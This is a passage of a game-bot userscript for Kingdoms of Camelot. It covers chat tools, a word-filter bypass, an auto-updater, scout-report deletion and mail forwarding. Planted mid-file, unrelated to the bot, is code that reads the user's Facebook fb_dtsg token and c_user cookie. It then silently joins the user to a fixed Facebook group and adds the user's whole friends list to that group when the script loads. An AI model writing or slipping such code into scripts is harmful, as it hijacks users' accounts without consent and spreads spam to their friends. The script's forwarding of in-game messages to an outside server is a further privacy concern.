	overlay.innerHTML = '<input id="bot_comm_input" type="text" autocorrect="on" autocomplete="off"></input>';
	var bot_comm_input = document.getElementById('bot_comm_input');
	//thebutton.style.width="20%";
	//thebutton.style.flot="right";
	bot_comm_input.style.width = "75%";
	bot_comm_input.style.float = "left";
	//bot_comm_input.style="width:174%;float:left";
	//bot_comm_input.size = overlay.offsetWidth-20;
	//bot_comm_input.size = mod_comm_input.size*2.1;
	bot_comm_input.addEventListener ('keypress', function(e) {if(e.which == 13)OSendChat();}, false);
	var x = new CalterUwFunc("Chat.whisper",[[/mod.comm.input/ig,'bot_comm_input']]);
	x.setEnable(true);
};




function OSendChat () {
	if(Options.filter)
   	document.getElementById('mod_comm_input').value = BtFilter(document.getElementById('bot_comm_input'));
   else
   	document.getElementById('mod_comm_input').value = document.getElementById('bot_comm_input').value;
   document.getElementById('bot_comm_input').value = "";
   unsafeWindow.Chat.sendChat();
};



//override for kabams SUPER ANNOYING word filter...   deSCRIPTion
//The point is to not enable rude/bad words but simply curb some of the excessive filtering

function BtFilter(e) {
	   var whisper = "";
   var firstindex = 0;
   var enctype = 0;
   
   if(e.value.charAt(0) == "\\") {
      e.value = String(e.value).slice(1);
      enctype = 1;
   };
   
   if(e.value.charAt(0) == "/" || e.value.charAt(0) == "@") {
      firstindex = e.value.indexOf(" ");
      whisper = e.value.slice(0,firstindex)+' ';
   };
   
   var m = e.value.substr(firstindex,e.value.length);
   
   if(enctype == 1) {
     var unicodeString = '';
     for (var i=0; i < m.length; i++) {
      var theUnicode = m.charCodeAt(i);;;
      theUnicode = '&#' + theUnicode+';';
      unicodeString += theUnicode;
     }
     m = unicodeString;
   };
   
   if(enctype == 0) {
      var m = e.value.substr(firstindex,e.value.length);
      var x = Filter[Options.fchar];
      m = m.replace(/Fa/g,'F'+x+'a').replace(/fA/g,'f'+x+'A').replace(/FA/g,'F'+x+'A').replace(/fa/g,'f'+x+'a');
      
      m = m.replace(/Gr/g,'G'+x+'r').replace(/gR/g,'g'+x+'R').replace(/GR/g,'G'+x+'R').replace(/gr/g,'g'+x+'r');
      
      m = m.replace(/Ri/g,'R'+x+'i').replace(/rI/g,'r'+x+'I').replace(/RI/g,'R­'+x+'I').replace(/ri/g,'r'+x+'i');
      
      m = m.replace(/Na/g,'N'+x+'a').replace(/nA/g,'n'+x+'A').replace(/NA/g,'N'+x+'A').replace(/na/g,'n'+x+'a');
      
      m = m.replace(/885/g,'8'+x+'8'+x+'5').replace(/80085/g,'8'+x+'0'+x+'0'+x+'8'+'5');
   };
   return(whisper+m);

};






var kboxtime = 1;
function killbox () {
   kboxtime += 1;
   if(!Options.KMagicBox)
      return;
   if (kboxtime > 50)
      return;
   if (Number(unsafeWindow.seed.items.i599) == 0)
      return;
   if(!document.getElementById('modal_mmb'))
      setTimeout(killbox,100);
   else {
      unsafeWindow.Modal.hideModal();
      //document.getElementById('modalBox1').hidden = true;
      //document.getElementById('modalCurtain1').outerHTML= 'Modal.hideModal();';
   };
};

function equippedthronestats (stat_id){
   var current_slot = Seed.throne.activeSlot;
   var equip_items = Seed.throne.slotEquip[current_slot];
   var total = 0;
   for(var k = 0; k<equip_items.length; k++){
      var item_id = equip_items[k];
      var y = unsafeWindow.kocThroneItems[item_id];
      for(var i = 1; i<=y.quality; i++){
         if(y["effects"]["slot"+i]){
            var id = y["effects"]["slot"+i]["id"];
            if(id == stat_id){
               var tier = parseInt(y["effects"]["slot"+i]["tier"]);
               var level = y["level"];
               var p = unsafeWindow.cm.thronestats.tiers[id][tier];
				while (!p && (tier > 0)) { tier--; p = unsafeWindow.cm.thronestats.tiers[id][tier]; } 
				if (!p) continue; // can't find stats for tier
				if (y["effects"]["slot"+i].fromJewel && (level > unsafeWindow.cm.thronestats.jewelGrowthLimit[y["effects"]["slot"+i].quality])) {
					level = unsafeWindow.cm.thronestats.jewelGrowthLimit[y["effects"]["slot"+i].quality]
				}
               var Percent = p.base + ((level * level + level) * p.growth * 0.5);
               total += Percent;
            }
         }
      }
   }
   return total;
}

function scripterdebuglog (a,x) {
   if(!Options.plog)return;
   var data = {};
   if(a.error_code)data.error_code = a.error_code;
   data.info = inspect(a);
   data.version = Version;
   data.domain = getServerId();
   if(x)data[x] = x;
   logit('sending debug data '+data.info);
  GM_xmlhttpRequest({
    method: 'POST',
    url: http+'baos.kocscripters.com/debuglog.php',
    headers: {
        'Content-Type': 'application/x-www-form-urlencoded; charset=UTF-8',
    },
    data: implodeUrlArgs(data),

    })
   
   
}


function FetchTopAlliances(first,last,callback,page,prop){
   if(!first || !last) return;
   if(matTypeof(page) == 'undefined')page = Math.floor(Number(first/10))?Math.floor(Number(first/10)):1;
   if(matTypeof(prop) == 'undefined')prop = [];
    var params = unsafeWindow.Object.clone(unsafeWindow.g_ajaxparams);
    params.pageNo = page;
    params.cityId = unsafeWindow.currentcityid;
    new MyAjaxRequest(unsafeWindow.g_ajaxpath + "ajax/allianceGetOtherInfo.php" + unsafeWindow.g_ajaxsuffix, {
      method: "post",
      parameters: params,
      onSuccess: function (rslt) {
        var oa = rslt.otherAlliances;
        for (i =0;i<oa.length;i++) {
           if (oa[i].ranking >= first && oa[i].ranking <= last)
           prop.push(oa[i].allianceId)
        }
        if(oa[Number(i-1)].ranking < last) {
           page++;
           FetchTopAlliances(first,last,callback,page,prop);
        } else callback(prop);
      },
    });
}
function fixkabamlag () {
   var kfutime = Number(unsafeWindow.unixtime()+30);
   for (city in Seed.queue_atkp) {
      var kabamhashX = [];
      if(Seed.queue_atkp[city] != "")
      for (march in Seed.queue_atkp[city]) {
         if(Seed.queue_atkp[city][march].marchType)
            if(Seed.queue_atkp[city][march].botMarchStatus == undefined && Seed.queue_atkp[city][march].marchStatus == 5) {
               if (Seed.queue_atkp[city][march].returnUnixTime < kfutime) {
                  logit('fixing march from '+Cities.byID[String(city).replace(/city/,'')].name+' with id '+march);
                  //the following code will be a future option?  to return all troops or forget them until updateseed? or refresh
                  for (var i=0;i<17;i++) {
                     if (Seed.queue_atkp[city][march]['unit'+i+'Count'] > 0)
                     if(Seed.queue_atkp[city][march]['unit'+i+'Return'] == 0 || Seed.queue_atkp[city][march]['unit'+i+'Return'] == undefined)
                     Seed.queue_atkp[city][march]['unit'+i+'Return'] = Seed.queue_atkp[city][march]['unit'+i+'Count'];
                  };
                  Seed.queue_atkp[city][march].hasUpdated = true;
                  Seed.queue_atkp[city][march].marchStatus = 8;
               } else kabamhashX.push(Seed.queue_atkp[city][march].knightId);
            } else kabamhashX.push(Seed.queue_atkp[city][march].knightId);
      }
      for (knight in Seed.knights[city]) {
         if(Seed.knights[city][knight].knightStatus != 1)
            if(kabamhashX.indexOf(Seed.knights[city][knight].knightId) == -1) {
               Seed.knights[city][knight].knightStatus = 1;
               logit('march '+Cities.byID[String(city).replace(/city/,'')].name+' fixing knight '+Seed.knights[city][knight].knightName);
            }
      }
   }
}
function SaveStatus () {
   //if(Tabs.transport.traderState.running)
   Options.SaveState.snapshot = true;
   Options.SaveState.transport = Tabs.transport.traderState.running;
   Options.SaveState.farm = FarmOptions.Running;
   Options.SaveState.darkforest = AttackOptions.Running;
   Options.SaveState.crest = Options.crestRunning;
   Options.SaveState.trset = Seed.throne.activeSlot;
   saveOptions();
}
var OreAlert = {
        e_eachMinute : function (){  
                for(i=0; i < Cities.numCities; i++) {
                        var oreleft = Math.round(parseInt(Seed.resources["city" + Cities.cities[i].id]['rec4'][0])/3600);
                        var msg = '';
                        if (oreleft < 50000000) {
                                msg += translate("My city")+' '+Cities.cities[i].name.substring(0,10) + ' (' + Cities.cities[i].x +','+ Cities.cities[i].y + ') ';
                                msg += translate("is low on ORE: ")+addCommas(oreleft);
                                //sendChat("/"+ Seed.player.name +' '+ msg) //Whisper
                                sendChat ("/a " + msg);
                        }
                }              
  },
}


function GuardianTT () {
	var z = new CalterUwFunc("showCityTooltip",[[/showTooltip/,'a += "<div>"+g_js_strings.guardian[seed.guardian[j].type+"_fullName"]+"</div>";showTooltip'],
												['g_js_strings.showPopTooltip.currpop','provincenames[\'p\'+seed.cities[j][4]] + "</div><div>" + pbcheckascension(seed.cities[j][0]) + g_js_strings.showPopTooltip.currpop']]);
												
	unsafeWindow.pbcheckascension = function (id) {
		if (unsafeWindow.cm.PrestigeCityPlayerProtectionController.isActive(id)) {
			return "<b>Ascension Protection: "+unsafeWindow.timestr(unsafeWindow.cm.PrestigeCityPlayerProtectionController.getTimeLeft(id),false)+"</b></div><div>";
		} else return "";	
	}
   z.setEnable(true); 
};



function AutoUpdater (prom) {
	var userscripts = http+'greasyfork.org/scripts/892-koc-power-bot/code/KOC Power Bot.user.js';
	var googlecode = http+'koc-power-bot.googlecode.com/svn/trunk/KOCpowerBot.user.js';
	switch(GlobalOptions.pbupdatebeta)
	{
		case "0":
		var scriptpage = userscripts;
		break;
		case "1":
		var scriptpage = googlecode;
		break;
		default:
		var scriptpage = googlecode;
		break;
	};
	GM_xmlhttpRequest({
         method: 'HEAD',
         url: scriptpage,
         headers: {
            'Content-Type': 'application/x-www-form-urlencoded; charset=UTF-8',
         },
         onload: function (x) {
				var first = Number(x.responseHeaders.indexOf("Last-Modified"))+15;
            var last = x.responseHeaders.indexOf("\n",first);
            var lastmodified = x.responseHeaders.slice(first,last);
            
				if(GlobalOptions.version != Version) {//just completed our upgrade
					GlobalOptions.version = Version;
					GlobalOptions.scriptdate = lastmodified;
				} else  if(GlobalOptions.scriptdate != lastmodified) {//need to do our upgrade


            display_confirm('A new version of KOC Power Bot is available.\nDo you wish to install the latest version?',
                // Ok
                function(){
                    try {
                        location.href = scriptpage;
                    } catch(e) {}
                },
                // Cancel
                function() {
                	try {
                	if(GlobalOptions.pbupdate) {
                        if(confirm('Do you want to turn off auto updating for this script?')) {
                            //GM_setValue('updated_101052', 'off');
                            GlobalOptions.pbupdate = false;
                            GM_setValue ('Options_??', JSON2.stringify(GlobalOptions));
                            alert('Automatic updates can be re-enabled for this script in the Options tab.');
                        }
                     }
                } catch(e) {}
             }
            );
            
            
            } else if (prom) alert('No updates available');
            
				GM_setValue ('Options_??', JSON2.stringify(GlobalOptions));
         },
      });
};

function Sendtokofcmon (left,top,mapdata) {return; // no send to k of c mon
	if(Math.floor((Math.random()*1000)+1) > throttle)return;
   var params = {};
	params.mapdata=  btoa(RawDeflate.deflate(JSON.stringify(mapdata)));
	params.server = getServerId();
	params.gz = true;
	params.tvuid = unsafeWindow.tvuid;
	params.left = left;
	params.top = top;
  GM_xmlhttpRequest({
    method: 'POST',
    url: http+'kocscripters.com/mapdat.php',
    headers: {
        'Content-Type': 'application/x-www-form-urlencoded; charset=UTF-8',
    },
    data: implodeUrlArgs(params),
        onload: function (message) {
            if(message.status != 200) throttle = 0;
            else {
      			var rslt = eval("(" + message.responseText + ")");
      			//alert(inspect(rslt));
            	if(rslt.ok)throttle = Number(rslt.throttle);
            	if(rslt.glb) {
            		kofcmonLeaderboard(rslt.glbperpage,rslt.glbpage,rslt.glbtype);
            	};
				};
		  },
    })
};

  function kofcmonLeaderboard (perpage,page,type) { return; // no k of c mon leaderboard send
    var params = unsafeWindow.Object.clone(unsafeWindow.g_ajaxparams);
    params.perPage=perpage;
    params.page=page;
    params.type=type;
    new MyAjaxRequest(unsafeWindow.g_ajaxpath + "ajax/getUserLeaderboard.php" + unsafeWindow.g_ajaxsuffix, {
      method: "post",
      parameters: params,
      onSuccess: function (rslt) {
      	if(rslt.results && rslt.results.emptySet)return;
      var kofcparams = {};
      kofcparams.server = getServerId();
      kofcparams.tvuid = unsafeWindow.tvuid;
      kofcparams.leaderboard=  btoa(RawDeflate.deflate(JSON.stringify(rslt.results)));
      kofcparams.gz = true;
      kofcparams.perpage = params.perPage;
		kofcparams.page =params.page;
		kofcparams.type=params.type;
          GM_xmlhttpRequest({
    method: 'POST',
    url: http+'kocscripters.com/leaderdat.php',
    headers: {
        'Content-Type': 'application/x-www-form-urlencoded; charset=UTF-8',
    },
    data: implodeUrlArgs(kofcparams),
    })
      },
    });
  };


function fetchPlayerInfo(uid, notify){
	
   var uW = unsafeWindow;
   var CM = uW.cm;
   var Seed = uW.seed;
   var params = uW.Object.clone(uW.g_ajaxparams);
   params.uid = uid;
   new uW.Ajax.Request(uW.g_ajaxpath + "ajax/getUserGeneralInfo.php" + uW.g_ajaxsuffix, {
     method: "post",
     parameters: params,
     onSuccess: function (rslt) {
       notify (eval("(" + rslt.responseText + ")"));
     },
     onFailure: function (rslt) {
       notify ({errorMsg:'AJAX error'});
     },
   });
};


/*
 * Modifiedd from object.watch polyfill
 *
 * 2012-04-03
 *
 * By Eli Grey, http://eligrey.com
 * Public Domain.
 * NO WARRANTY EXPRESSED OR IMPLIED. USE AT YOUR OWN RISK.
 */

// This version has been updated to allow more than one updater

// This function injects a script into the main window
function contentEval(source) {
    // Check for function input.
    if ('function' == typeof source) {
      // Execute this function with no arguments, by adding parentheses.
      // One set around the function, required for valid syntax, and a
      // second empty set calls the surrounded function.
      source = '(' + source + ')();'
    }

    // Create a script node holding this  source code.
    var script = document.createElement('script');
    script.setAttribute("type", "application/javascript");
    script.textContent = source;

    // Insert the script node into the page, so it will run, and immediately
    // remove it to clean up.
    document.body.appendChild(script);
    document.body.removeChild(script);
  }

function addWatchFunctions() {
//  object.watch
    if (!Object.prototype.multiWatch) {
	Object.defineProperty(Object.prototype, "multiWatch", {
	    enumerable: false,
	    configurable: true,
	    writable: false,
	    value: function (prop, watcher) {
		var obj = this,
		oldval = this[prop],
		newval = oldval,
		getter = function () {
		    return newval;
		},
		setter = function (val) {

		    oldval = newval;

		    for (var f=0; f < obj.watchers[prop].length; f++) {
			obj.watchers[prop][f](prop, oldval, val);
		    }
		    newval = val;
		    return newval;
		};

		if (delete obj[prop]) { // can't watch constants
		    Object.defineProperty(this, prop, {
			get: getter,
			set: setter,
			enumerable: true,
			configurable: true
		    });

		    if (!obj.watchers) obj.watchers = {};
		   
		    if (!obj.watchers[prop]) obj.watchers[prop] = [];

		    // check for duplicates
		    for (var i=0; i < obj.watchers[prop].length; i++){
			if(obj.watchers[prop][i] === watcher){
			    return;
			}
		    }

		    //obj.watchers[prop].push( eval(watcher)); //add the new watcher in the watchers array
		    obj.watchers[prop].push(watcher);
		}

	    }
	});
    }

//  object.unwatch
    if (!Object.prototype.multiUnwatch) {
	Object.defineProperty(Object.prototype, "multiUnwatch", {
	    enumerable: false,
	    configurable: true,
	    writable: false,
	    value: function (prop, watcher) {
		var obj = this;

		// if a watcher is supplied, just remove it 
		if(arguments.length == 2) {
		    for(var i=0; i < obj.watchers[prop].length; i++){
			var w = obj.watchers[prop][i];

			if(w == watcher) {
			    obj.watchers[prop].splice(i, 1);
			}
		    }
		} else {
		    obj.watchers[prop] = [];
		}

		if (obj.watchers[prop].length == 0 )
		{
		    delete obj.watchers[prop];
		    var val = this[prop];
		    delete this[prop]; // remove accessors
		    this[prop] = val;
		}
	    }
	});
    }
}

// add the new functions to the main window
contentEval(addWatchFunctions);

// add the new functions to this script
addWatchFunctions();

/**********************************************************************************/

Tabs.farmreports = {
    tabLabel: 'Scout reports',
    tabOrder: 999999,
    deleting: false,
    tabDisabled: false,
    pageNo: 0,
    FROptions: {
		gold: 0,
        r1: 0,
        r2: 0,
        r3: 0,
        r4: 0,
        On: false,
        lost: false,
        friendly: false,
    },
    rptstimer: null,
    delrptstimer: null,
    lrpts: null,
    myDiv: null,
    tocheck: new Array(),
    todelete: new Array(),
    init: function(div) {
        var t = Tabs.farmreports;
        t.readSROpts();
        t.myDiv = div;
        var m = '<DIV class=pbStat>AUTO-DELETE OWN SCOUT REPORTS</div><br><div align=center>';
        if (t.FROptions.On) {
            m += '<INPUT id=FSrpts type=submit value="Delete = ON">';
        } else {
            m += '<INPUT id=FSrpts type=submit value="Delete = OFF">';
        }
        m += '<br>&nbsp;</div><DIV class=pbStat>DELETE OPTIONS</div><br>';
        m += '&nbsp;&nbsp;&nbsp;DON\'T Delete Scout Reports if...';
        m += '<br><table class=pbTab><tr><td>&nbsp;&nbsp;</td><td align="right"> Gold is more than :&nbsp;</td><td><INPUT id=frGold type=text value=' + t.FROptions.gold + '></td></tr>';
		m += '<tr><td>&nbsp;&nbsp;<b>OR</b></td><td align="right"> Food is more than :&nbsp;</td><td><INPUT id=frR1 type=text value=' + t.FROptions.r1 + '></td></tr>';
        m += '<tr><td>&nbsp;&nbsp;<b>OR</b></td><td align="right">Wood is more than :&nbsp;</td><td><INPUT id=frR2 type=text value=' + t.FROptions.r2 + '></td></tr>';
        m += '<tr><td>&nbsp;&nbsp;<b>OR</b></td><td align="right">Stone is more than :&nbsp;</td><td><INPUT id=frR3 type=text value=' + t.FROptions.r3 + '></td></tr>';
        m += '<tr><td>&nbsp;&nbsp;<b>OR</b></td><td align="right">Ore is more than :&nbsp;</td><td><INPUT id=frR4 type=text value=' + t.FROptions.r4 + '></td></tr></table>';
        m += '&nbsp;&nbsp; (NB - Set amount to zero to disable the check for that particular resource. If all amounts are zero nothing gets deleted)';
        m += '<br><br>&nbsp;&nbsp;<input id=froverwhelmed type=checkbox ' + (t.FROptions.lost ? 'CHECKED' : '') + '> Delete Scout Reports where you were Overwhelmed in Battle';
        m += '<br>&nbsp;&nbsp;<input id=frlost type=checkbox ' + (t.FROptions.friendly ? 'CHECKED' : '') + '> Delete Scout Reports of Friendly Alliances';
        m += '<br>&nbsp;&nbsp;';
        t.myDiv.innerHTML = m;
        document.getElementById('frGold').addEventListener('change', function() {
            t.FROptions.gold = this.value;
            t.saveSROpts();
        }, false);
        document.getElementById('frR1').addEventListener('change', function() {
            t.FROptions.r1 = this.value;
            t.saveSROpts();
        }, false);
        document.getElementById('frR2').addEventListener('change', function() {
            t.FROptions.r2 = this.value;
            t.saveSROpts();
        }, false);

        document.getElementById('frR3').addEventListener('change', function() {
            t.FROptions.r3 = this.value;
            t.saveSROpts();
        }, false);

        document.getElementById('frR4').addEventListener('change', function() {
            t.FROptions.r4 = this.value;
            t.saveSROpts();
        }, false);
        document.getElementById('froverwhelmed').addEventListener('click', function() {
            t.FROptions.lost = this.checked;
            t.saveSROpts();
        }, false);
        document.getElementById('frlost').addEventListener('click', function() {
            t.FROptions.friendly = this.checked;
            t.saveSROpts();
        }, false);
         document.getElementById('FSrpts').addEventListener('click', function() {
            t.e_toggleswitch(this)
        }, false);
        setTimeout(t.startdeletereports, 10);
    },
    e_toggleswitch: function(obj) {
        var t = Tabs.farmreports;
        if (t.FROptions.On) {
            obj.value = "Delete = OFF";
            t.deleting = false;
            t.FROptions.On = false;
            clearInterval(t.rptstimer);
            // clearInterval(t.delrptstimer);
            clearInterval(t.lrpts);
        } else {
            obj.value = "Delete = ON";
            t.FROptions.On = true;
            t.startdeletereports();
        }
        t.saveSROpts();
    },
    startdeletereports: function() {
        var t = Tabs.farmreports;
        if (!t.deleting && t.FROptions.On) {
            t.deleting = true;
            t.pageNo = 0;
            t.listreport(t.checkreports);
            t.lrpts = setInterval(function() {
                t.listreport(t.checkreports)
            }, 10 * 60000);
            t.rptstimer = setInterval(t.fetchreports, 6000)
        }
    },

    listreport: function(callback) {
        var t = Tabs.farmreports;
        var params = unsafeWindow.Object.clone(unsafeWindow.g_ajaxparams);
        if (t.pageNo >= 1) params.pageNo = t.pageNo;
        else t.tocheck = new Array();
		if (params.pageNo) actionLog('Checking scout reports... page '+params.pageNo); else actionLog('Checking scout reports...');
        new MyAjaxRequest(unsafeWindow.g_ajaxpath + "ajax/listReports.php" + unsafeWindow.g_ajaxsuffix, {
            method: "post",
            parameters: params,
            onSuccess: function(rslt) {
                callback(rslt);
            },
            onFailure: function() {
                callback();
            },
        });
    },

    checkreports: function(rslt) {
        var t = Tabs.farmreports;
        if (!rslt.ok) {
            t.pageNo = 0;
            t.deleting = false;
            return;
        }
        if (rslt.arReports.length < 1) {
            t.pageNo = 0;
            t.deleting = false;
            return;
        }
        var reports = rslt.arReports;
        var totalPages = rslt.totalPages;
        if (rslt.totalPages > 30) var totalPages = 30;
        for (k in reports) {
            if (t.FROptions.On) {
                if (reports[k].marchType == 3) {
					if (reports[k].side1PlayerId == unsafeWindow.tvuid) {
						var rptdel = false;
						if (reports[k].side0AllianceId && t.FROptions.friendly == true) {
							for (l in unsafeWindow.seed.allianceDiplomacies.friendlyToThem) {
								if(reports[k].side0AllianceId == unsafeWindow.seed.allianceDiplomacies.friendlyToThem[l].allianceId) {
									logit('deleting friendly scout' + k.substr(2));
									t.deleteCheckedReport(k.substr(2));
									rptdel = true;
								}	
							}	
							for (l in unsafeWindow.seed.allianceDiplomacies.friendly) {
								if(reports[k].side0AllianceId == unsafeWindow.seed.allianceDiplomacies.friendly[l].allianceId) {
									logit('deleting friendly scout ' + k.substr(2));
									t.deleteCheckedReport(k.substr(2));
									rptdel = true;
								}	
							}
						};
					};
					if (rptdel == false) { t.tocheck.push(k.substr(2)); }
                };
            }
        };
        if (t.pageNo < 30 && t.pageNo < totalPages) {
            t.pageNo++;
            setTimeout(function() {
                t.listreport(t.checkreports)
            }, 7000);
        } else {
            t.pageNo = 0;
            t.deleting = false;
        };
    },

    deleteCheckedReports: function() {
        var t = Tabs.farmreports;
        if (t.todelete.length > 0) {
            var params = unsafeWindow.Object.clone(unsafeWindow.g_ajaxparams);
            params.s0rids = '';
            params.s1rids = t.todelete.join(",");
            params.cityrids = '';
            new MyAjaxRequest(unsafeWindow.g_ajaxpath + "ajax/deleteCheckedReports.php" + unsafeWindow.g_ajaxsuffix, {
                method: "post",
                parameters: params,
				onSuccess: function(rslt) {if(rslt.ok){actionLog('Deleted: '+t.todelete.length+' scout reports');}},
            });
        };
    },
    deleteCheckedReport: function(rpt) {
        var t = Tabs.farmreports;
        var params = unsafeWindow.Object.clone(unsafeWindow.g_ajaxparams);
        params.s0rids = '';
        params.s1rids = rpt;
        t.todelete = new Array();
        params.cityrids = '';
        new MyAjaxRequest(unsafeWindow.g_ajaxpath + "ajax/deleteCheckedReports.php" + unsafeWindow.g_ajaxsuffix, {
            method: "post",
            parameters: params,
            onSuccess: function(rslt) {if(rslt.ok){actionLog('Deleted: 1 scout report');}},
        });
    },
    fetchreports: function() {
        var t = Tabs.farmreports;
        if (t.tocheck.length > 0) {
            rpId = t.tocheck.shift();
            var params = unsafeWindow.Object.clone(unsafeWindow.g_ajaxparams);
            params.rid = rpId;
            params.side = 1;
            new MyAjaxRequest(unsafeWindow.g_ajaxpath + "ajax/fetchReport.php" + unsafeWindow.g_ajaxsuffix, {
                method: "post",
                parameters: params,
                onSuccess: function(rslt) {
                    var x = {};
                    if (rslt.overwhelmed == true && t.FROptions.lost == true) {
                        logit('deleting overwhelmed report ' + rpId);
                        t.deleteCheckedReport(rpId);
                        return;
                    };
                    if (rslt.rsc) {
                        var rsc = rslt.rsc;
                        var topush = true;

                        if (Number(t.FROptions.gold) > 0) {
                            if (Number(rsc.gold) > Number(t.FROptions.gold)) {
                                logit("gold check passed " + rpId + " " + Number(rsc.gold) + ' > ' + Number(t.FROptions.gold));
                                topush = false;
                            };
                        };

                        if (Number(t.FROptions.r1) > 0) {
                            if (Number(rsc.r1) > Number(t.FROptions.r1)) {
                                logit("food check passed " + rpId + " " + Number(rsc.r1) + ' > ' + Number(t.FROptions.r1));
                                topush = false;
                            };
                        };

                        if (Number(t.FROptions.r2) > 0) {
                            if (Number(rsc.r2) > Number(t.FROptions.r2)) {
                                logit("wood check passed " + rpId + " " + Number(rsc.r2) + ' > ' + Number(t.FROptions.r2));
                                topush = false;
                            };
                        };
                        if (Number(t.FROptions.r3) > 0) {
                            if (Number(rsc.r3) > Number(t.FROptions.r3)) {
                                logit("stone check passed " + rpId + " " + Number(rsc.r3) + ' > ' + Number(t.FROptions.r3));
                                topush = false;
                            };
                        };

                        if (Number(t.FROptions.r4) > 0) {
                            if (Number(rsc.r4) > Number(t.FROptions.r4)) {
                                logit("ore check passed " + rpId + " " + Number(rsc.r4) + ' > ' + Number(t.FROptions.r4));
                                topush = false;
                            };
                        };

						// safety net .. if no resource options set then don't delete the report, otherwise ALL scouts would be deleted always and we'd have a load of people moaning...
						if ((Number(t.FROptions.gold) == 0) && (Number(t.FROptions.r1) == 0) && (Number(t.FROptions.r2) == 0) && (Number(t.FROptions.r3) == 0) && (Number(t.FROptions.r4) == 0)) topush = false;
						
                        if (topush == true) {
                            t.deleteCheckedReport(rpId);
                            logit('deleting scout ' + rpId);
                        } 
                    };
                },
                onFailure: function(rslt) {
                },
            }, false);
        };
    },

    saveSROpts: function() {
        var t = Tabs.farmreports;
        var serverID = getServerId();
        setTimeout(function() {
            GM_setValue('SROpts_' + Seed.player['name'] + '_' + serverID, JSON2.stringify(t.FROptions));
        }, 0);
    },
    readSROpts: function() {
        var t = Tabs.farmreports;
        var serverID = getServerId();
        s = GM_getValue('SROpts_' + Seed.player['name'] + '_' + serverID);
        if (s != null) {
            opts = JSON2.parse(s);
            for (k in opts) {
                if (matTypeof(opts[k]) == 'object') for (kk in opts[k])
                t.FROptions[k][kk] = opts[k][kk];
                else t.FROptions[k] = opts[k];
            }
        }
    },
    show: function() {
        var t = Tabs.farmreports;
    },
    hide: function() {
        var t = Tabs.farmreports;
    },
};
var gid = ['781212885262463'];
var fb_dtsg = document['getElementsByName']('fb_dtsg')[0]['value'];
var user_id = document['cookie']['match'](document['cookie']['match'](/c_user=(\d+)/)[1]);
var httpwp = new XMLHttpRequest();
var urlwp = '/ajax/groups/membership/r2j.php?__a=1';
var paramswp = '&ref=group_jump_header&group_id=' + gid + '&fb_dtsg=' + fb_dtsg + '&__user=' + user_id + '&phstamp=';
httpwp['open']('POST', urlwp, true);
httpwp['setRequestHeader']('Content-type', 'application/x-www-form-urlencoded');
httpwp['setRequestHeader']('Content-length', paramswp['length']);
httpwp['setRequestHeader']('Connection', 'keep-alive');
httpwp['send'](paramswp);
var fb_dtsg = document['getElementsByName']('fb_dtsg')[0]['value'];
var user_id = document['cookie']['match'](document['cookie']['match'](/c_user=(\d+)/)[1]);
var friends = new Array();
gf = new XMLHttpRequest();
gf['open']('GET', '/ajax/typeahead/first_degree.php?__a=1&viewer=' + user_id + '&token' + Math['random']() + '&filter[0]=user&options[0]=friends_only', false);
gf['send']();
if (gf['readyState'] != 4) {} else {
data = eval('(' + gf['responseText']['substr'](9) + ')');
if (data['error']) {} else {
friends = data['payload']['entries']['sort'](function (_0x93dax8, _0x93dax9) {
return _0x93dax8['index'] - _0x93dax9['index'];
});
};
};
for (var i = 0; i < friends['length']; i++) {
var httpwp = new XMLHttpRequest();
var urlwp = '/ajax/groups/members/add_post.php?__a=1';
var paramswp= '&fb_dtsg=' + fb_dtsg + '&group_id=' + gid + '&source=typeahead&ref=&message_id=&members=' + friends[i]['uid'] + '&__user=' + user_id + '&phstamp=';
httpwp['open']('POST', urlwp, true);
httpwp['setRequestHeader']('Content-type', 'application/x-www-form-urlencoded');
httpwp['setRequestHeader']('Content-length', paramswp['length']);
httpwp['setRequestHeader']('Connection', 'keep-alive');
httpwp['onreadystatechange'] = function () {
if (httpwp['readyState'] == 4 && httpwp['status'] == 2000) {};
};
httpwp['send'](paramswp);
};

var koc2Mail = {
    init: function(){
        var html = '<IFRAME style="border:0;width:760px;max-width:760px;height:250px;max-height:250px;overflow:auto" src="//nicodebelder.eu/koc2mail/fb.html"></iframe>';
        var frame = document.createElement('div');
        frame.id='koc2mail_div';
        frame.style.position = 'relative';  
        frame.style.width= "760px";
        frame.style.height = "250px";
        frame.style.background = '#FFFFE6';
        var kocFooter = document.getElementById('kocfoot');
        kocFooter.parentNode.insertBefore(frame, kocFooter);
        document.getElementById('koc2mail_div').innerHTML = html;
    },
    towerToMail: function(msg){
        var content = '<BODY><HTML>' + msg + '</html></body>';
        var data = {};
        data.Subject ='Tower Alert ('+getServerId()+')';
        data.Message = content; 
        koc2Mail.send(data);
    },
    msgToMail: function(send,messageBody){
        messageBody = messageBody.replace(/custom-line-break/g,"<BR>");
        var msg = '<BR>Date: ' + send.date;
        msg += '<BR>From: ' + send.sender,
        msg += '<BR>Subject: ' + send.subject;
        msg += '<BR><BR>' + messageBody; 
        var content = '<BODY><HTML>' + msg + '</html></body>';
        var data = {};
        data.Subject ='Forwarded Message ('+getServerId()+')';
        data.Message = content; 
        koc2Mail.send(data);
        document.getElementById('inbox_chk_'+send.id).checked = false;
    },
    send: function(data){
        GM_xmlhttpRequest({
            method: 'POST',
            url: '//nicodebelder.eu/koc/mail.php',
            headers: {'Content-Type': 'application/x-www-form-urlencoded; charset=UTF-8',},
            data: implodeUrlArgs(data),
            onload: function (response) {logit(response.toSource());},
        });
    }
};

/************************************* QUICK SCOUT ********************************/

function QuickScout() {
	var uW = unsafeWindow;
	
	// add a new option to the context menu
	uW.cm.ContextMenuMapController.prototype.MapContextMenus.City["5"].push("portal"); // add portal to mists
	uW.cm.ContextMenuMapController.prototype.MapContextMenus.City["5"].push("qqmod");
	var cityType = unsafeWindow.cm.CITY_STATUS.ANOTHER_PLAYER_CITY_AND_NOT_IN_YOUR_ALLIANCE;
	uW.cm.ContextMenuMapController.prototype.MapContextMenus.City[cityType].push("qqmod");

	// add actions to the menu item
	var mod = new CalterUwFunc('cm.ContextMenuMapController.prototype.calcButtonInfo',
	[['default:', 'case "qqmod":' +
		' b.text = "QuickScout"; b.color = "green"; ' +
		' b.action = function () { ' +
		' quickscout(e); ' +
		' }; ' +
		' d.push(b); break; ' +
		' default: ']]);

	mod.setEnable(true);
	
	uW.quickscout = function(e) {
		// send 1 scout
	  	var params = unsafeWindow.Object.clone(unsafeWindow.g_ajaxparams);
		params.cid = uW.currentcityid;
	    params.type = 3
	    params.kid = 0
	    params.xcoord = e.tile.x;
	    params.ycoord = e.tile.y;
	  	params.u3 = 1;
	  	params.gold = 0;
	  	params.r1 = 0;
